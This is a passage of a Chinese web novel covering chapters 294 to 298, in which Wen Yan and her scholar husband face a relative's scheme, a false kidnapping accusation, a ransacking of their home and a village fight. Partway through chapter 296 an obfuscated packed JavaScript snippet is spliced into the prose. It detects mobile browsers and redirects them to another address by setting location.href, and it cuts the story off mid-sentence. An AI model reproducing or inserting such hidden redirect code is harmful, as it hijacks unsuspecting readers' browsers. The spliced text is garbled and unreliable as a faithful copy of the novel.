她是怕给他们添麻烦,又怕自己不高兴,所以才不肯松口答应。 闻颜眉头一蹙,难过地看着老人家:“外祖母您不肯搬过来,难道是对我这个孙媳妇不满意吗?” 五婆婆虽然眼睛看不到,心里却敞亮着呢! 当即就帮腔道:“是啊,亲家奶奶,您在这边多住几天,就知道她的好了。” 再拒绝,就要伤外孙媳的心了。 外祖母只得答应,兄妹三人都开心极了。 闻颜松了口气,对外祖母道:“还好您愿意留下来,不然我请的大夫就要扑个空了。” 昨天白夫人离开时,闻颜就拜托她把同和堂的林大夫请过来,给外祖母瞧瞧身体。 毕竟是应知林的亲外祖母,目前看来,也算和蔼可亲,能照顾就尽量照顾到。 今天是流水席的第二天,客人已经没有头一天多了。 早饭后,闻颜就不紧不慢地开始清点贺礼。 应知林也来帮忙,一个清点,一个登记。 乡亲们有的送十几二十文钱,有的送十个鸡蛋,有的送一包粮或点心。 都是大家的一份心意,闻颜都一一记录在册。 县城那些富户乡绅,送的礼物就很打眼了。 锦帛布匹,金银玉器,还有直接送银票的,一出手就是六百六十六两。 闻颜把账登记好之后,就拿去给应知林看:“这些人的礼要怎么办?” 应知林拿过账本看了看,他连眉头都没皱一下:“先收着吧,以后再找机会还回去。” “好。不过我对县城里的这些人不熟,我找族长盯一下,他对县城比我了解,到时候才能及时还礼。” “好,都听夫人的。”应知林望着她,应承着。 “什么都要听闻颜的。” 说曹操曹操到,应族长笑呵呵的走进院子。 闻颜夫妻连忙起身相迎:“族长爷爷来了。” 应族长同他们寒暄几句,就和应知林到书房去商谈事务。 闻颜将礼物清点完毕,正准备将东西归入仓库,就听见一阵嘎嘎:“哟,这么多好东西,侄儿媳妇也不让我们看看,怎么就收起来了?” 随即就见应家二姑姑,甩着帕子,扭着腰肢,走进院子。 “二姑姑,大清早的,你怎么有空过来?”闻颜迎出门,与她寒暄。 眼神示意佩儿、青禾三人,赶紧将东西收走。 三人立即抱着东西往东跨院跑去。 二姑姑巴巴地看着好东西被抱走,急得直跺脚,嚷嚷着让佩儿把东西拿给她过过目。 自己缠一缠,说不定闻颜能送她一两件。 可惜,不仅闻颜挡着她的路,佩儿那个贱婢,耳朵就像聋了一样,停都没停一下,好东西全进了闻颜的院子。 二姑姑遗憾地收回目光:“侄儿媳妇啊,我有事关知林前途命运的大事要说。” 二姑姑拉着闻颜的手,一副语重心长的样子。 闻颜不着痕迹地抽回自己的手,“二姑姑有什么话,但说无妨。” 二姑姑呵呵笑着,举手投足间全是谄媚:“好侄媳,你看,知林考上举人,以后少不了迎来送往,交际应酬。全靠他一个人应付,像什么话,你说是不是?” “二姑姑你有话直说。”闻颜已经猜到她的意思。 果然,就听二姑姑接着道,“你看,外面的举人老爷,哪个身边不是跟着一两个小厮书童的,知林也该信得过的人,帮他跑腿传话。” 说着,她将自己的大孙子推到闻颜面前,“你外甥今年十六,长得高大不说,人还机灵。就让他跟在知林身边,帮知林跑腿打杂。” 闻颜可不想接她的茬:“此事我做不了主,得知林自己决定。” “你可是他婆娘,这等小事怎会做不了主?你是不是嫌有负担……算了算了,都是一家人,我们不要月钱行了吧。”二姑姑说着说着就落下委屈的泪来 闻颜:“……” 她还来不及多说话,书房的窗户就从里面推了起来。 “你在说什么!”族长虎着脸站在窗户里,一双精明的眼睛盯着二姑姑,“别以我不知道你心里那些花花肠子。 小厮跑腿固定月钱,顶了天几百上千文钱。 但是打着应知林的名义,在外面吃拿卡要,才是大头。 怎么? 知林才考上举人,你们就想着怎么借势敛财了。 你们一家若是不能安分,我就只能把你们送回原来的村子。” 应族长把二姑姑的遮羞布都扯下来了。 二姑姑没想到族长就站在里面,臊得脸夹通红,但她还是倔强地想要为自己辩说几分。 族长气得哼了一声:“简直不知所谓,真当天下就你一家聪明人,别人都是傻的吗。 竟然敢算计到知林头上来了。 你要是真聪明,咋不送自己儿孙去读书,让他们给你考个举人回来,你想怎么做就怎么作,想怎么折腾就怎么折腾,何苦自降身份给别人做跑腿的? 难道是你不想吗?” 族长一通喝斥抢白,说得二姑姑脸上青一阵白一阵的。 她拉着儿子,就呜呜哭着就跑走了。 应族长犹不解气,甩了甩衣袖:“哼,一家子什么玩意儿! 真当别人看不出他们一家是什么货色? 竟然敢来祸害知林。 闻颜,下次他们再来,你不用再顾及什么亲戚情分,直接把人打出去就好。” 闻颜笑笑,没有多说。 安排好家里的杂事,闻颜和应知林就准备去宗祠那边。 她刚出门,就见柳家人朝这边过来,他们还担着一副挑子。 “爹、娘。大哥大嫂、三哥三嫂。”闻颜很是自然地叫人。 柳家的几个孙辈,也都围上来,乖巧地叫小姑。 闻颜挨个揉揉他们的头,又一人发了一块糖果,朝院子里喊了一声,“小海,出来接客了。” 小海带着他们就去玩了。 柳父和张敢娘心里止不住的激动:叫我们了,小闺女又叫我们娘了! 但他们面上一点没有表露出来,很是镇定地应了一声:“你们现在去哪里?” “去宗祠那边看酒席准备得怎么样了。”闻颜自然亲昵地挽上张敢娘的胳膊,“你们昨天怎么没来? 昨天我义母也来了,还说要介绍你们认识的。” 第294章:黄莺儿丢了 柳父道:“昨天人多,你本就忙不过来,又要分心照顾我们,所以就决定今天过来。” 说着,他还拿出一个钱袋,递给闻颜。 闻颜双手接过:“谢谢爹娘,你们也跟我去祠堂那边看看吧,今天的酒席,都办在那边。” 他们边走边说话。 柳父好奇地问起昨天在祠堂发生的事。 闻颜一一说了。 张敢娘又是高兴,又是担忧地道:“这个高帽子一戴,你肩上的担子是不是很重?别人做好自己就行了,你不仅要自己人帮好,还要帮助别人。” 张敢娘不在意那些风评和人气。 她只在意闻颜过得好不好,是否舒心。 闻颜心下感动,靠在张怀里撒了个小小的娇,这可把张敢娘高兴坏了,让她有一种亲生女儿终于回来了的感觉。 到了办席的地方,代婆婆很是热情地拉着张敢娘和两位嫂嫂说话,柳父则被别的族人拉去聊天。 ** 很快,就到了开席时间。 今天客人不多,都是附近的领里乡亲,不用再开流水席,一次就能坐满。 大家落座之后,就开席了。 应知林各桌敬酒。 柳老大很有眼力见儿,一直跟在应知林身边,帮他倒酒。 一旦发现有人灌他酒,柳老大就帮他挡酒。 应知林好歹是举人,旁人也不敢真的灌。 再加上柳老大做生意练出口才,那些人即使被拒了酒,也不觉得落了面子,反而还跟柳老大勾肩搭背,称兄道弟。 席上,一个十五六岁的小娘子,以扇遮着半张瓜子脸,只露出一双水汪汪的大眼睛,看了应知林一眼又一眼。 她自以为做得隐晦,其实再明显不过。 每多看一眼,她的脸颊就红一分,神情也多娇羞一分。 旁人一瞧这状态,还有什么不明白的。 又一个不谙世事的小娘子,被应知林的皮相勾去了魂。 待应知林去往下一桌。 小娘子旁边的妇人,就同她的小声嘀咕起来:“闺女,看清楚了吗?娘是不是说得没错,应举人长得一表人才,相貌堂堂,湿润如玉。你嫁给他,一点不亏。” “娘,你说什么呢!羞死人了!”小姑娘扭捏地用肩膀撞了妇人一下,脸颊红得能滴血。 那位应举人,着实生得好看。 就连应夫人在他面前都显得黯然失色。 若是能嫁与这样的男子,此生倒也无憾了。 别说是小姑娘,便是富绅的夫人,也被应解元的美貌迷住。 心里想着,但凡自己再年轻个十岁,好歹要尝一尝应知林的咸淡。 旁边的富绅也道:“那应解元不仅皮相好,学问也是一顶一顶的。我们县城也不算小了吧,你见出过几个解元? 他只要正常发挥,将来考个进士不成问题。 到时候我们再花些银两给他疏通疏通,给他谋个好差事,闺女你这辈子都不用愁。” 这一家,全是本县有名的富绅,因为时不时施粥,得了义绅的名号。 小姑娘的目光,对不住追随着应知林的背影,语气里带上失落:“可是……他的妻子长得也很美,而且还出身名门……” 从他们身边路过的闻颜,听见他们在议论自己和应知林,不由放慢脚步,听个究竟。 “这个就更不用担心了。”富绅老神在在,一副一切尽在掌握中的神情,“应解元的妻子,长得确实不差,跟那些真正的大美人却没得比。 最致命的便是她出身名门,养出一副争强好胜的性格,昨天她还进了祠堂,甚至在族谱上与应解元齐头并进。 娶妻娶贤,没有几个男人,能受得了被自己的女人强压一头。 更何况他还是解元老爷,更比别人心高气傲几分。 等你带着丰厚的嫁妆过去,在夫君面前温柔小意,当一朵知冷知热的解语花,两相比较之下,获得夫君独宠,手到擒来。” 小姑娘用扇子遮着脸,娇嗔:“爹,你不正经。” 富绅哈哈笑着。 他夫人急道:“夫君,你看咱们什么时候上门提亲?” “得尽快,先占一个坑位。待他来日考中进士,我们再想攀附,都是不能了。” “等宴席结束我就回去准备,后天就上门。对了,一定要请花媒婆,她那一张巧嘴,死的都能说成活的……” 闻颜听完全程,眉毛轻挑。 这家人倒是很有眼光。 散席后她去问问应族长,这家人的品性如何。 如果真如传言那般和善,让他女儿再等几天,给应知林做正妻也无不可。 筵席接近尾声。 应知林和柳老大才回到位置。 闻颜给他们一人盛了碗汤:“喝点汤,冲一冲胃里的酒气。” “多谢妹妹。”柳老大嘴角都快翘到天上去,他还给应知林抛去一个炫耀的眼神。 “你的妹妹虽好,我的妻子才是世界最好的女子。”应知林忍俊不禁,并炫耀回去,“昨天要是有大哥在,我也不会喝得那般辛苦。” 这时,一群人忽然冲了进来。 她目光一扫,锁定闻颜。 几步来到闻颜面前,‘扑通’一声跪在她面前。 她什么话都不说,对着闻颜就‘砰砰砰’地磕了三个响头。 闻颜吓了一跳,猛地站起来,躲到一边:“姨母,你这是做什么?有话好好说,你这又是下跪又是磕头,不是要折我的寿吗?” 她上前去扶焦姨母,却被焦姨母躲开。 焦姨母跪着后退几步,哭道:“闻颜,外甥媳妇……不,举子夫人,求你放过莺儿一回吧,你把她还给我好不好!” 闻颜一头雾水:“我不知道你在说什么。” 焦姨母呜呜哭着:“我知道你介意我闺女跟知林,青梅竹马一起长大,你不想让我闺女给知林做妾。我们都接受,也认命了,但是你不因一时之气,就把她藏起来啊。 莺儿就是我的命,他要是有个三长两短,我也不想活了。” 应知林率先走到前面,护住闻颜,这才道:“姨母,我们不曾见过黄莺儿,也不曾藏过她。 她不见了,多半是去县城买东西了,你别自乱了阵脚,多去几个地方打听打听,若是再无消息,报官才是最好的选择。” 纷纷给应知林做证。 他们昨天确实没有见过黄莺儿。 “你……你们竟敢做不敢认!没有证据我岂会轻易找上门!”焦姨母从人群里抓出一个人,“你说,你昨天是不是在这里看见我的莺儿了?” 第295章:不好了,出事了 “我……我看见她的时候,她在应家宅子附近转悠,我并不确定她有没有被抓走。” 众目睽睽之下,那人后悔死了。 他就不该贪图十文钱的感谢费,来给焦姨母当证人,这下得罪了举人老爷。 “你跟他们是一伙的! 你们合谋起来,莫非……你们已经对我的莺儿下了毒手! 啊……你们还我莺儿,还我莺儿!” 焦姨母像是疯了一般,扑向闻颜,抓着她又捶又打。 她一改往日的贤良淑德的形象,疯妇一样撒泼打滚,像极了一个失去女儿,被逼发疯的母亲。 闻颜被她拉扯得摇晃,一阵头晕目眩,差点没站稳。 “颜颜。”应知林一把抱住她,将她护到身后,对柳家人道,“爹娘,照看好颜颜。” 闻颜小声提醒应知林:“黄莺儿可能真的来过。 昨天你到库房搬酒的时候,我在库房外面,隐约看见一个鬼鬼祟祟的身影,很像是她。” 应知林皱了皱眉,安抚闻颜,“我知道了,放心吧,这些事就交给我来处理。” 见闻颜被柳家人团团护住,应知林这才看向那位证人:“你们说我绑架窝藏了黄莺儿,是在什么时间?什么地点?都有谁实施犯罪?” 证人连忙摆手否认:“我没有说你们绑架窝藏了她。我只是把我看见的说出来而已。” 应知林念在焦姨母丢了女儿,关心则乱,并未趁势追击。 反而帮她理清线索、到人。 他朝在座客人拱了拱手:“各位叔伯婶婶,若是昨日见过黄莺儿,还请告知。 女子丢失是大事,若是跌落山崖,摔伤腿脚走不回来,我们多耽误一会儿,黄莺儿就多一分危险。” 其实,黄莺儿这种情况,更多是被人贩子拐卖,但他却故意将话题往意外上面,也是为了保护黄莺儿的名声。 只见吃席的客人里,有一人站了出来,道:“昨天我也看见黄莺儿了,不过当时她失魂落魄的往村外走。我见她神情不对,还叫了她好几声,她没理我我,我就走了。” 那人指着黄莺儿离开的方向,并不是回福禄的。 旁边亦有人附和。 应知林便建议焦姨母顺着这个方向去找一找,兴许能有收获。 焦姨母却一口咬定应知林推卸责任。 叫着喊着,要应知林给个说法,交出她女儿。 黄莺儿的二哥、父亲,以及跟来的村民,也跟着附和。 应知林没想反而被攀咬,他的耐心耗尽:“既然你们听不进话,那应报官吧,找官府的人来查。” “昨天官府的人还来吃了你的酒,说不定你们早就蛇鼠一窝……” “县衙你信不过,那就去京兆府报案,让他们来查。” “你……” “你不会要说,我们跟京兆府也沆瀣一气了吧。” “我……只有我们的亲自去搜,我才肯信。” 焦姨母一行,被堵得哑口无言。 应知林却并不给他们犹豫反悔的机会,直接找人去县城报案。 同时让焦姨母派人去京城报案,他还可以出马车给他们代步。 焦姨母犹疑不定地看着应知林。 他如此坦荡,难不成,莺儿的失踪真的与他们无关? “呸!你好大一张脸!”柳老三的媳妇跳了出来,指着焦姨母斥道。 柳家人眼见焦姨母要给应知林硬扣罪名,都急得不行。 若是查不清楚,对他名声有碍,将来还如何考进士! 可惜柳家人不擅吵架,急得跳脚。 三嫂一看终于轮到自己表现了,逮着机会就跳了出来。 三嫂一手插腰,一手指着焦姨母: “我妹夫不仅帮你找线索,还让你去报官,你这不要那不要,上下嘴皮子一碰,就想给我妹夫扣上一顶‘绑架’的罪名。 我看你不是丢了女儿,是收了别人的好处,借机来抹黑我妹夫的。 还想带自己的人进去搜,你怕不是得了失心疯。 你长得丑,想得倒挺美。 瞧瞧你脖子上顶了个什么? 芝麻杂粮大煎饼上撒了三颗黑芝麻,就当自己是个人物了。” 三嫂用手在面前扇了扇,仿佛焦姨母是什么不堪的脏东西。 “我妹夫想了那么多找人之法,你一件都不肯做,反而在这里纠缠不休。 而且你脸上一点没有着急之色,一心只想搜我妹妹的家 我看你不是来找人,而是想趁机把黄莺儿塞进我妹妹家,再把你女儿强塞……”给我当妾吧! 三嫂忍了又忍,顾及到女儿的名声,没有把话说绝。 焦姨母被噎得够我呛,再加上顾及黄莺儿名声,她也不敢再纠缠。 三嫂却不放过她,接着道:“既然要搜我妹夫的家,可以啊,你先证明你女儿丢了再说吧! 或者我们现在先去你家搜一搜,再轮到我妹妹家。” 焦姨母气得咬牙切齿,死死盯着三嫂。 不行。 那边还没收到那边的音讯,她还不能收手。 可她又说不过这个黑妞。 她眼珠子滴溜溜一转,忽然往地上一坐,双手拍打着大腿,伴随着一声‘哎呦喂’,就开始了一哭二闹三上吊的戏码。 三嫂子哪能让她抢了风头。 她裙摆一提,也跟着坐地上了。 她还坐到了焦姨母的身边,哭声比焦姨母的大,手脚并用地乱蹬,气势瞬间把焦姨母比了下去。 闻颜扑哧一声,低笑出声。 她没想到三嫂嫂这么厉害。 旁边的客人也跟着低笑出声。 焦姨母的哭声戛然而止,她不由多看了黑妇人几眼。 没想到她年纪轻轻,竟这般舍得下脸皮,当众做出这等行径。 这小妇人不仅长得黢黑,心也一样黑,嘴皮子更是不饶人。 她在叱咤福禄村这么多年,今天也算是遇到了对手。 不过,她的眼中闪过一抹算计。 你就闹吧,闹得越大越精彩越好,把所有人都吸引过来。 这样才方便她的好大儿,带着黄家族人去应家搜屋,将莺儿解救出来。 没成想,就在此时,一个妇人一边跌跌撞撞跑过来,一边惊慌失措地喊道:“知林,知林,不好了,家里出事了……” 焦姨母眼中闪过一丝紧张。 “舅母,发生何事?如此慌张?”应知林连忙问道。 第296章:都别想竖着走出去 闻颜见舅母跑得气喘吁吁,头发都散了。 连忙端了一杯水递上去:“舅母别急,您先喝口水,顺顺气再说。” 舅母摇头推开水,急道:“快回去,家里有人闯进去了。他们到处翻找……” 她去了趟茅房回来,听见院子里吵吵闹闹,她就多留了个心眼,爬上院子往里瞧,就发现二十几个成年男子在屋里东翻西找。 西厢房中,那些行动不便的匠人,为了保护那些颜料不被破坏,也被他们折辱欺负了。 她自知势单力薄,没敢闯进去送人头,而是跑来宗祠求救。 康叔今日带着三个护院在祠堂这边帮忙,听见此话,带着两人就往回跑。 “外祖母!”应知林又惊又急,也紧追上去。 “知林,我去帮你。”大虎哥也跟了上去。 “兄弟们,知林有难,我们岂能袖手旁观。”青山哥带头喊道。 立马有旁人附和, “这里可是松山村,岂能容旁人来我们的地盘撒野。” “今天那些人连举人的宅子都敢闯,改天岂不是要随便欺负我们这些平头百姓。” 同时,还有妇人站出来附和:“就冲着这几天丰盛的宴席,我们也不能不管。 保护好了知林,下次他考个进士回来,不得请我们吃十天的流水席!” “对,大家一起去帮忙。” 村里人个个情绪激动,抄起武器就跟了上去。 有人拿了菜刀,有人拿了柴刀,有人拿了锅铲,还有人抓了一条凳子。 妇人孩子,没东西好拿,地上抓起泥巴石头就追了上去。 二三十桌客人,瞬间就走光了。 应族长老胳膊老腿,颠颠地跟在后面。 闻颜一把拉住他:“族长爷爷,等一下,我有话跟你说。” “你要说什么?”应族长急得不行,他怕这群小伙子年轻气盛,闹出人命。 闻颜与他低声耳语几句。 应族长听罢点点头:“我知道了,你放心吧。” 他说完,便迫不及待地去追大队伍了。 焦姨母一看这么多人过去,当即就吓坏了,想要上前去拦。 也不知那边搜查完了没! 不过就算找到莺儿,松山村这么多人过去,他们恐怕也不好脱身。 焦姨母当即一慌,她扑上去,要将众人拦住:“你们不许去,你们站住。” “你们的饭还没吃完呢,这么多大鱼大肉,你们不吃了,岂不是要便宜别人。” 三嫂几步追上去,在焦姨母的屁股上踹了一脚。 焦姨母‘哎呦’一声,摔了个五体投地。 三嫂朝她哼了一声,几步就追上了闻颜。 焦姨母连忙爬起来,朝身后那些人使了个眼神,自己也追上了上去。 应家。 应知林一路狂奔,竟然超过康叔,率先抵达。 他一脚踹开院门,只见院中被人翻得乱七八糟,就像被土匪**过一般。 隔壁院中,传来外祖母沙哑的喊声:“你们住手,住手!那是我孙儿的房间,你们不可以随便进去,你们再不住手,我们就要报官了!” “死老太婆,你给我住口!”一道男声喝骂道。 “外祖母!”应知林脸色一变,立即朝安置外祖母的东跨院去。 院门口守着人。 应知林一出现,他们就拦住去路。 “滚开!” 应知林手里不知何时多了一根手臂粗的棍子,一人头上来了一下子。 两人白眼一翻,就晕倒在地。 应知林跑入院中,就见二十几个成年男子,带着三四个妇人,在他和闻颜的房间里翻找。 闻颜的衣柜打开了。 里面的衣服全部被扒拉到地上,有两件还被一个妇人缠在腰上。 而另外几个男人,则将闻颜的床铺翻乱,蚊帐都扯下来了。 一人掀开床单,探手进床下摸索,突然喊了一声:“床下面藏着东西!” 其余人全部围了过去,全力将床上的箱子搬出来。 而他房间里,书架被掀翻,书本笔墨撒了一地。 本该躺在他床上休息的外祖母,不知被人推倒在地。 外祖母急得不行,虚弱地爬起来,拖着软绵绵的身体去阻止他们。 被人没好气地推了一把,外祖母踉跄后退,眼看就要撞到桌角上。 应知林一个箭步上去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385327|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将人扶住。 “外祖母,您没事吧!” 外祖母急得不行,把应知林往外推:“你快走,他们是强盗,这里危险。” “我不走,没有人能欺负我的家人。”应知林眼中闪过狠意。 他将外祖母扶到一旁坐下。 这时,人群里走出来一个青年。 他手里的棍子指着应知林:“姓应的,把我妹妹交出来,不然我一把火烧了你的房子!” 此人不是别人。 正是**儿的大哥。 他与母亲分头行动。 焦姨母在宗祠负责拖住那些人,他负责到应家来找妹妹。 他在这里越找越火大。 应知林真是不当人。 以前穷困潦倒,就巴结着人家,把他娘亲和妹妹当佣人使唤。 攀上京城大官,有钱之后,不但将小妹一脚踢开,甚至连妾室的位置都不肯给一个。 害得小妹在家不吃不喝,整日以泪洗面。 昨天过来参加应知林的宴席,出来之后就没回去。 定是应知林这个混账东西,怕小妹情绪激动,当众说出他做过的腌臜事,便将小妹囚禁起来。 应知林嘲讽道:“你妹妹是万金难求的孤本?还是千金不卖的名墨砚台?用得着我**窝藏她?” “你……”黄老大气得眼睛都鼓了起来。 “她送上门来我都不想留,用得着藏她?有什么理由藏她?你们是不是太能给自己脸上贴金了!还是我以前太惯着你们,太好说话了?” “你……你竟敢侮辱我妹妹!”黄老大把手里的棍子捏得啪啪作响。 “辱人者人恒辱之。黄大,你们不仅毁了我的家,还敢推搡我外祖母,今天,你们一个都别想竖着走出去。” 就在此时,闻颜的卧房里传来一声惊呼:“我勒个老天爷啊,好多银子、还有金子,全是好东西!” “你们竟敢动我夫人的东西,全都该死!”应知林眼睛都红了。 他都没敢那样碰闻颜的东西,他们也敢,也配! 他抓着棍子站了起来。 冰冷的目光扫过那些人,最后锁定黄老大,两步跨过去,抡起棍子,直接砸在他头上。 第297章:一个警告 “嗷——”黄老大没想到应知林会突然出手,惨叫一声,感觉脑门上一热,鲜血顿时涌了出来。 就在这时,康叔他们冲进院子。 康叔上前拉住应知林:“别忘了你现在的身份,这些事交给我们就好,你去照顾外祖母。” 他把应知林推开,和其他人一拥而上,和福禄村的人扭打在一起。 福禄村来的人再多了,也没有松山村的人多。 片刻时间,他们就把福禄村的人全部按住了。 所有人都挨了揍,鼻青脸肿的。 佩儿趁机钻进屋里,将箱子重新盖上,费了九牛二虎之力,推回床底下去。 焦姨母推开众人闯进来,看着倒在地上,血迹斑斑的黄老大,吓得“嗷”地一声尖叫:“儿啊,我的儿!你告诉娘,是谁打的你,娘给你报仇,我要他血债血偿。” “让我血命债血偿?在此之前,也得看我会不会放过你!” 应知林这次是真的生气了。 这些人不仅打砸了他的家,还推倒外祖母。 他不会轻易算了。 “你……你什么意思?你想干什么?”焦姨母慌张问道。 应知林一直都是和和气气,很好说话的样子。 她第一次见他生气,心里慌张得不行。 应知林扫她一眼,反而不去理会,焦姨母反而越发慌乱。 就在这时。 一个十三四岁的小孩,突然进院子里。 他激动地道:“有外村人闯进祠堂,把好多祖宗牌位都打翻了。” “什么!我们的祖宗被人欺负了!” 竟敢闯入祠堂,这跟去人祖坟上蹦迪有什么区别! 在场的应家人,全都目眦欲裂,一副随时都能干架的样子。 孩子连忙摆摆手:“还好我们早有准备,提前埋伏在祠堂里,趁机把他们全部抓住了。 至于牌位……” 孩子嘟了嘟嘴:“有几个老祖宗牌位掉了,其他的都没事……” 族人松了一口气,随后又凶恶地瞪向焦姨母。 随后,他们就将两拨人绑到一起。 等衙门的差役一来,应知林就把他们交了出去。 毁人祠堂,此事可大可小,就看受害者的意思。 应家态度明确,要追究到底。 罪名虽然不大,也不会有很严重的惩罚,但是这一抓,福禄村的黄氏一族,大半青壮年都要去大牢里一月游。 这名声要是传出去,整个福禄村的声誉都会跟着受损。 他们就会成为全村的罪人。 为了不当众矢之的,最后由黄父抗所有罪名。 他被判了三个月囚刑,二十两罚银。 黄家凑了个整数,以银赎罪。 这一遭,黄家积累了十几年的家资被掏空,变得一贫如洗。 就算如此,福禄村的人,还是对黄家心生埋怨。 焦姨母怨恨地瞪着应知林:“这下你满意了吧!” 应知林掸了掸衣服上不存在的灰尘:“这只是一个警告,你再到对我的家指手划脚,就不只是破财这么简单。” 应知林突然走近一步,他眼神阴郁,用两人才能听见的声音,警告她,“届时,我不介意让你家破人亡,不得好死!” 焦姨母从未见过他这般阴沉的模样,吓得双腿一软,跌倒在地,身体也止不住的轻颤。 “你对我妈做了什么!”黄老大见母亲惊惧,捏着拳头就冲向应知林。 应知林一个扫腿过去,就把人踹出两米多远。 焦姨母吓坏了,连忙押着黄老大,带着族人灰溜溜地走了。 在距离应家不远的一处树林里,两个男人骑在马背上。 一个锦衣华服,一个身着劲装,明显是一主一仆。 “这就是你说的,很隆重的庆功宴?”霍耀行目光轻飘飘扫了身边的下属一眼。 昨天下午,下属来禀,说这位应解元人的庆功宴办得很是热闹,惊动了不少人物。 他本是不屑,今天在府中无聊,便过来看看,这庆功宴到底能有多热闹。 没成想,还真让他看了一出大戏。 属下立即跪下请罪:“属下办事不力,请主子责罚。” 霍耀行尽情愉悦:“那就罚你回京后,帮咱们的应解元好生宣传宣传今天的事。 抛弃青梅竹马,照顾他的表妹另娶高门女。 一朝得势,就险些将照顾他多年姨母全家送入大牢。 这些八卦新闻,足够京城百姓,茶余饭后议论十天半个月了。” 虽然这些谣言不会对他造成实质性的伤害,但能给他添堵,倒也不错。 忽地。 霍耀行的脸色又是一沉。 闻颜竟对一个泥腿子,那般的维护和关心。 与自己退婚才多久,就对另外一个男人…… 没有男人,她会死吗? 当真是水性杨花,下贱不已。 霍耀行厌恶地‘哼’了一声,一夹马腹,就骑着马离开了。 属下挠挠头,世子爷最近越发阴晴不定,难侍候。 处理完黄家的事,闻颜和应知林先送客人离开后,才回到家中收拾。 康叔带着两名护院,就来跟闻颜请罪:“是我们护卫不力,才让那些人钻了空子,给家里造成这么大的麻烦。” “不怪你们,是我调你们去祠堂帮忙的。”闻颜不仅没有罚他们,还因为他们及时赶回来帮助应知林,而奖赏了他们。 颜料作坊那边,闻颜也因为他们保护颜料有功,每人奖励了一两银子,又要去县城请大夫给他们治伤。 佩儿提醒她:“小姐,你不是请了同和堂林大夫给老夫人瞧病吗? 到时请林大夫一起看就好了。” 闻颜点点头:“那就等林大夫……” 他们这边话没落地,立夏就来通传:“小姐,林大夫来了。” 随即,就见一位药童,扶着须发花白的林大夫走了进来。 林大夫看见闻颜,又扫一眼院中狼藉,就歪着脑袋,斜着眼哼了一声:“我就知道,你找我准没好事。” “林大夫,您老人家可算是来了。京城这么多大夫,我最信您的医术。 我家外祖母的身体,只有您能治。”闻颜立即笑眯眯地迎了上去,扶着他就往东跨院去。 “呵,油嘴滑舌!”林大夫不高兴地乜她一眼,嘴角却不由自主地往上翘。 不过,在看见外祖母的脸色之后,林大夫顿时就正了脸色,道:“老太太的身体,民间大夫之中,确实只有我才能调理好。” “调理好?”闻颜惊喜,“我外祖母真的能恢复健康?” 林大夫吹胡子瞪眼地看着她:“你当我的药是仙丹啊,七旬老人吃了都能健步如飞?最多能让她和同龄一样。” “这样已经很好了。”老人家能减少身体病痛,就已经很好了。 第298章:穿越女 三天流水席结束。 大家都跟着松了口气,生怕中途再发生什么事。 好在一切顺利结束。 闻颜他们的生活终于恢复了往日的平静。 不过她发现,越来越多的人,喜欢来她家里聊天八卦。 闻颜干脆在院门外的空地上,搭了一个凉亭。 安排了许多座椅,一个茶壶一些茶杯。 一时间,闻颜家成了全村的消息集散中心。 闻颜给凉亭题了个名字,就名叫:“八卦亭” 她也因此知道福禄村,焦姨母那边的消息。 黄莺儿是真的丢了。 闻颜有些担忧黄莺儿,跟应知林说起此事:“黄莺儿若是真有个三长两短,那我们岂不是……” “傻子,你想什么呢?”应知林打断她的话,并在她的额头轻弹一下,“黄莺儿已经十七岁了,比你还年长半岁,你都已担负起几十口人的生计,她还不能为自己的行为负责吗?” 闻颜点点头:“话虽如此,但她真的出事,肯定会影响你的名声,这不好。” 况且,黄莺儿只是争风吃醋。 她的手段虽然不堪,到底她没有伤害过谁。 毕竟是一条性命,若是落到人贩子,她的一生就毁了。 不过,闻颜也只是心里不忍罢了。 黄莺儿多次找茬,闻颜不主动对付她,已经是仁至义尽。 闻颜在家中休息了几天,就开始忙自己的事了。 教哑妹学画画,给新店的净面娘子找推拿师父,装点布置新店的院子。 应知林也恢复了书院、家中两点一线的读书日子。 闻颜在家歇了两天,就又恢复得生龙活虎。 她计划着回京城处理生意上事。 临出发时,她就听八卦亭里的人,又在讨论焦姨母家的事。 “哎,你们听说了吗?黄莺儿找到了。” 闻颜来了兴趣,坐在一旁听他们议论。 “啊……这么多天,她去哪儿了?不会是被人给……”那人挤眉弄眼,证据都变得暧昧了。 “那倒不是。 是她在回家的路上,掉进了一口枯井里。 今年不是干旱吗?那口井里几乎断水了,好几天才能沁出半桶水,一直没人往井边去,便没发现掉进井里的她。 还是一群调皮的孩子,去井边玩儿发现的。” “我听说啊,她被救上来的时候,瘦得皮包骨头,只剩下一口气了。” “她说是自己掉下去的,你们居然也信。说不定是被人糟蹋了,为了毁尸灭迹才把她扔进去的。” 闻颜听到这里,下意识的不喜。 她微皱着眉头,朝一位相熟的婶子递了个眼神。 那婶子立即反驳道:“桂枝婶,药可以乱吃,话却不可以乱说。 人救出来的时候,几十双眼睛瞧见的,黄莺儿除了额头上摔出来的伤,衣服整齐,身上也没有别的伤,怎么可能遇上坏人。 你这么信誓旦旦,难不成你亲眼所见?或者是你找人把黄莺儿给糟蹋了? 若真是这样,黄莺儿一家可不会饶过你。” 桂枝婶脸色倏地煞白。 黄家才在村里吃了亏,若是让他们记恨上自己,不得把她往死里整! 她可遭不起这份罪,赶紧否认说没有。 说她只是胡乱想的。 闻颜见状,这才坐上马车离开。 黄莺儿能死里逃生,真是太好了。 闻颜尽情舒展许多。 她也能安心回京城去管理打理生意了。 三日后。 福禄村,黄莺儿的房间。 瘦得只剩皮包骨头的黄莺儿,目光呆滞地看着房顶。 她还是不敢相信。 自己竟然穿越了。 二十一世纪的古风手工博主,一夜之间竟然穿到了古代。 成了一贫如洗的农家女。 黄莺儿扯过被子盖在脸上,嘴里发出呜呜的声音:“贼老天,你太过分了!你不当人! 痛痛快快地来个雷劈死我吧,把我劈回现代去。” 屋外,艳阳高照,一丝风都没有,更别说能劈死人的雷电。 黄莺儿在被窝里滚来滚去,最终选择了自我消化情绪,再好好的,努力活下去。 